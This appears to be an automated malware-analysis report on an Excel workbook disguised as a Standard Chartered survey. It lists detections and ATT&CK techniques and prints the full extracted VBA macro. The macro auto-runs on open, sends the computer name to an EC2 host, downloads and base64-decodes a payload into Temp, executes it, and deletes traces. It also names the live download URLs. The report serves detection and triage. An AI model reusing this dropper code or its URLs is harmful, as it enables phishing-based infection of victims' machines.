MALICIOUS
418
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample contains a VBA macro that utilizes WScript.Shell and CreateObject to download a file from a hardcoded URL to the temporary directory. The macro then attempts to save this downloaded content as 'survey.dat' and potentially execute it, indicating a downloader functionality. The presence of an Auto_Open macro and obfuscated shell commands further supports this malicious intent.
Heuristics 10
-
ClamAV: Doc.Downloader.Valyria-10026858-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-10026858-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set s = CreateObject("WScript.Shell") -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
Set s = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
r.Write o.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set b = CreateObject("WScript.Network") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
a = Environ("Temp") & "\file.dat" -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97 Referenced by macro
- http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/submit/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97Referenced by macro
- http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-Referenced by macro
- http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97�Referenced by macro
- http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-Referenced by macro
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4131 bytes |
SHA-256: 277fab77ab887c08e4f3ba6f3c78d6167ae5d1ea6ff2200bf6929c9e9a82de79 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Worksheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 1, 0, MSForms, TextBox"
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub Get_Survey()
Set b = CreateObject("WScript.Network")
c = b.ComputerName
' 62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97
Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "GET", "http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97" & "?uid=" & c & "&seid=" & DateDiff("s", "1/1/1970 00:00:00", Now()), False
o.Send
Set r = CreateObject("ADODB.Stream")
r.Type = 1 'adTypeBinary
a = Environ("Temp") & "\file.dat"
b = Environ("Temp") & "\survey.dat"
d = Environ("Temp") & "\survey.dat.log1"
r.Open
r.Write o.responseBody
r.SaveToFile a, 2 'adSaveCreateOverWrite
Set r = Nothing
Set c = CreateObject("Scripting.FileSystemObject")
c.CopyFile a, b
Set fso = CreateObject("Scripting.Filesystemobject")
Set base_file = fso.OpenTextFile(b, 1)
Content = base_file.ReadAll()
base_file.Close
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.DataType = "bin.base64"
oNode.Text = Content
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile d, 2
Set s = CreateObject("WScript.Shell")
s.Exec d
c.DeleteFile (a)
c.DeleteFile (b)
End Sub
Sub Post_Survey()
Set b = CreateObject("WScript.Network")
c = b.ComputerName
' 62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97
Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "POST", "http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/submit/62-04-94-4E-A5-C8-A2-C7-53-FD-9B-C3-63-C4-B1-97" & "?uid=" & c & "?seid=" & DateDiff("s", "1/1/1970 00:00:00", Now()), False
o.Send
Set r = CreateObject("ADODB.Stream")
r.Type = 1 'adTypeBinary
a = Environ("Temp") & "\output.dat"
b = Environ("Temp") & "\output.dat.log"
d = Environ("Temp") & "\survey.dat.log2"
r.Open
r.Write o.responseBody
r.SaveToFile a, 2 'adSaveCreateOverWrite
Set r = Nothing
Set c = CreateObject("Scripting.FileSystemObject")
c.CopyFile a, b
Set fso = CreateObject("Scripting.Filesystemobject")
Set base_file = fso.OpenTextFile(b, 1)
Content = base_file.ReadAll()
base_file.Close
Set oXML = CreateObject("Msxml2.DOMDocument")
Set oNode = oXML.CreateElement("base64")
oNode.DataType = "bin.base64"
oNode.Text = Content
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = 1
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile d, 2
Set s = CreateObject("WScript.Shell")
s.Exec d
c.DeleteFile (a)
c.DeleteFile (b)
End Sub
Sub Auto_Open()
ActiveSheet.Shapes("fBox").Visible = False
ActiveSheet.Shapes("fText").Visible = False
ActiveSheet.Unprotect
ActiveSheet.Range("A1", "Z40").Locked = True
ActiveSheet.Range("E7", "E16").Locked = False
ActiveSheet.Protect
Get_Survey
End Sub
Sub Workbook_BeforeClose()
ActiveSheet.Shapes("fBox").Visible = True
ActiveSheet.Shapes("fText").Visible = True
ActiveSheet.Unprotect
ActiveSheet.Range("E7", "E16").Locked = True
ActiveSheet.Protect
End Sub
Sub SendButton_Click()
MsgBox Prompt:="Thank you for completing the survey! Your answers were submitted successfully.", Title:="Survey completed"
Post_Survey
ThisWorkbook.Saved = True
Application.Quit
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 17920 bytes |
SHA-256: b9044d2804344e175809bbc9219388c7d9a4fb7fb620d7cde2ac06adc8554ac1 |
|||
|
Detection
ClamAV:
Doc.Downloader.Valyria-10026858-0
Obfuscation or payload:
unlikely
|
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image5.emf | 1820 bytes |
SHA-256: 347bad05f8ec3ccbc281659515c1c33d9398632018f961856b066f3570535cf9 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.